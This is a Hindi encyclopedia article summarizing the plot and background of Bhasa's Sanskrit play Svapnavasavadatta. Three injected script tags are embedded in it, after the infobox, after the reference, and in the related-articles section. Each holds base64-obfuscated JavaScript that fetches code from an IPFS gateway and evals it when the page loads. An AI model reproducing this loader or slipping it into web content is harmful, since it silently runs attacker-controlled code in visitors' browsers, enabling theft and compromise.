स्वप्नवासवदत्तम  

स्वप्नवासवदत्तम
कवि महाकवि भास
मूल शीर्षक 'स्वप्नवासवदत्तम'
मुख्य पात्र उदयन, वासवदत्ता, चंडप्रद्योत
देश भारत
भाषा संस्कृत
विधा नाटक
टिप्पणी यह नाटक भास की नाट्यकला का चूडान्त निदर्शन है। तीसरी शताब्दी ई. में महाकवि भास द्वारा रचित इस कृति से वत्सराज उदयन एवं अवन्ति नरेश चण्डप्रद्योत के सम्बन्धो का उल्लेख मिलता है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

स्वप्नवासवदत्तम अथवा 'स्वप्नवासवदत्ता' (वासवदत्ता का स्वप्न) प्रसिद्ध संस्कृत नाटक है, जो महाकवि भास द्वारा लिखा गया था। यह नाटक भास के प्रसिद्ध नाटकों में उत्कृष्ट श्रेणी का है। क्षेमेन्द्र के 'बृहत्कथामंजरी' तथा सोमदेव के 'कथासरित्सागर' पर आधारित यह नाटक समग्र संस्कृतवाङ्मय के दृश्यकाव्यों में आदर्श कृति माना जाता है। भास विरचित रूपकों में यह सर्वश्रेष्ठ है। वस्तुतः यह भास की नाट्यकला का चूडान्त निदर्शन है। तीसरी शताब्दी ई. में महाकवि भास द्वारा रचित इस कृति से वत्सराज उदयन एवं अवन्ति नरेश चण्डप्रद्योत के सम्बन्धो का उल्लेख मिलता है।

कथानक

'स्वप्नवासवदत्ता' महाकवि भास की अमर एवं प्रसिद्ध रचना है। इस नाटक की कथावस्तु निम्न प्रकार है-

संस्कृत नाटक 'स्वप्नवासवदत्ता' के नायक पुरुवंशीय राजा उदयन हैं। वे वत्स राज्य के अधिपति थे। कौशाम्बी उनकी राजधानी थी। उन दिनों राजगृह मगध की राजधानी थी और वहाँ का राजा अजातशत्रु का पुत्र दर्शक था। अवन्ति राज्य की राजधानी उज्जयिनी थी तथा वहाँ के राजा प्रद्योत थे। महाराज प्रद्योत का सैन्य-बल अत्यन्त विशाल था और इसीलिये उन्हें महासेन के नाम से भी जाना जाता था। महाराज उदयन के पास घोषवती नामक एक दिव्य वीणा थी। उनका वीणा-वादन अपूर्व था।[१]

एक बार प्रद्योत के अमात्य शालंकायन ने छल करके उदयन को कैद कर लिया। उदयन के वीणा-वादन की ख्याति सुनकर प्रद्योत ने उन्हे अपनी पुत्री वासवदत्ता के लिये वीणा-शिक्षक नियुक्त कर दिया। इस दौरान उदयन और वासवदत्ता एक दूसरे के प्रति आकर्षित हो गये। इधर उदयन के मन्त्री यौगन्धरायण उन्हें कैद से छुड़ाने के प्रयास में थे। यौगन्धरायण के चातुर्य से उदयन, वासवदत्ता को साथ लेकर, उज्जयिनी से निकल भागने में सफल हो गये और कौशाम्बी आकर उन्होंने वासवदत्ता से विवाह कर लिया। उदयन वासवदत्ता के प्रेम में इतने खोये रहने लगे कि उन्हें राज-कार्य की सुधि ही नहीं रही। इस स्थिति का लाभ उठाकर आरुणि नामक उनके क्रूर शत्रु ने उनके राज्य को उनसे छीन लिया।

आरुणि से उदयन के राज्य को वापस लेने के लिये उनके मन्त्री यौगन्धरायण और रुम्णवान् प्रयत्नशील हो गये। किन्तु बिना किसी अन्य राज्य की सहायता के आरुणि को परास्त नहीं किया जा सकता था। वासवदत्ता के पिता प्रद्योत उदयन से नाराज थे और यौगन्धरायण को उनसे किसी प्रकार की उम्मीद नहीं थी। यौगन्धरायन को ज्योतिषियों के द्वारा पता चलता है कि मगध-नरेश की बहन पद्मावती का विवाह जिस नरेश से होगा, वे चक्रवर्ती सम्राट हो जायेंगे। यौगन्धरायण ने सोचा कि यदि किसी प्रकार से पद्मावती का विवाह उदयन से हो जाये तो उदयन को अवश्य ही उनका वत्स राज्य आरुणि से वापस मिल जायेगा; साथ ही वे चक्रवर्ती सम्राट भी बन जायेंगे।[१]

यौगन्धरायण भलीभाँति जानते थे कि उदयन अपनी पत्नी वासवदत्ता से असीम प्रेम करते हैं और वे अपने दूसरे विवाह के लिये कदापि राजी नहीं होंगे। अत: उन्होंने वासवदत्ता और रुम्णवान् के साथ मिलकर एक योजना बनाई। योजना के अनुसार उदयन को राजपरिवार तथा विश्वासपात्र सहयोगियों के साथ लेकर आखेट के लिये वन में भेजा गया, जहाँ वे सभी लोग शिविर में रहने लगे। एक दिन, जब उदयन मृगया के लिये गए हुए थे, शिविर में आग लगा दी गई। उदयन के वापस लौटने पर रुम्णवान ने उन्हें बताया कि वासवदत्ता शिविर में लगी आग में फँस गईं थी और उन्हें बचाने के लिये यौगन्धरायण वहाँ घुसे, जहाँ पर दोनों ही जल मरे। उदयन इस समाचार से अत्यन्त दुःखी हुए किन्तु रुम्णवान तथा अन्य अमात्यों ने अनेकों प्रकार से सांत्वना देकर उन्हें सम्भाला।

इधर यौगन्धरायन वासवदत्ता को साथ लेकर परिव्राजक के वेश में मगध राजपूत्री पद्मावती के पास पहुँच गए और प्रच्छन्न वासवदत्ता (अवन्तिका) को पद्मावती के पास धरोहर के रूप में रख दिया। अवन्तिका पद्मावती की विशेष अनुग्रह पात्र बन गईं। उन्होंने महाराज उदयन का गुणगान करके पद्मावती को उनके प्रति आकर्षित कर लिया। उदयन दूसरा विवाह नहीं करना चाहते थे, किन्तु रुम्णवान् ने उन्हें समझा-बुझा कर पद्मावती से विवाह के लिये राजी कर लिया। इस प्रकार उदयन का विवाह पद्मावती के साथ हो गया। विवाह के पश्चात् मगध-नरेश की सहायता से उदयन ने आरुणि पर आक्रमण कर दिया और उसे परास्त कर अपना राज्य वापस ले लिया। अन्त में अत्यन्त नाटकीय ढंग से यौगन्धरायण और वासवदत्ता ने स्वयं को प्रकट कर दिया। यौगन्धरायण ने अपनी धृष्टता एवं दुस्साहस के लिये क्षमा निवेदन किया। यही इस नाटक ‘स्वप्नवासवदत्ता’ की कथावस्तु है। एक दृश्य में उदयन समुद्रगृह में विश्राम करते रहते हैं। वे स्वप्न में ‘हा वासवदत्ता’, ‘हा वासवदत्ता’ पुकारते रहते हैं। उसी समय अवन्तिका (वासवदत्ता) वहाँ पहुँच जाती हैं। वे उनके लटकते हुये हाथ को बिस्तर पर रख कर निकल जाती हैं, साथ ही उदयन की नींद खुल जाती है; किन्तु वे निश्चय नहीं कर पाते कि उन्होंने वास्तव में वासवदत्ता को देखा है अथवा स्वप्न में। इसी घटना के कारण नाटक का नाम ‘स्वप्नवासवदत्ता’ रखा गया।[१]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. १.० १.१ १.२ महाकवि भास का प्रसिद्ध नाटक 'स्वप्नवासवदत्ता' (हिन्दी) धान के देश में। अभिगमन तिथि: 01 जून, 2016।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=स्वप्नवासवदत्तम&oldid=611669" से लिया गया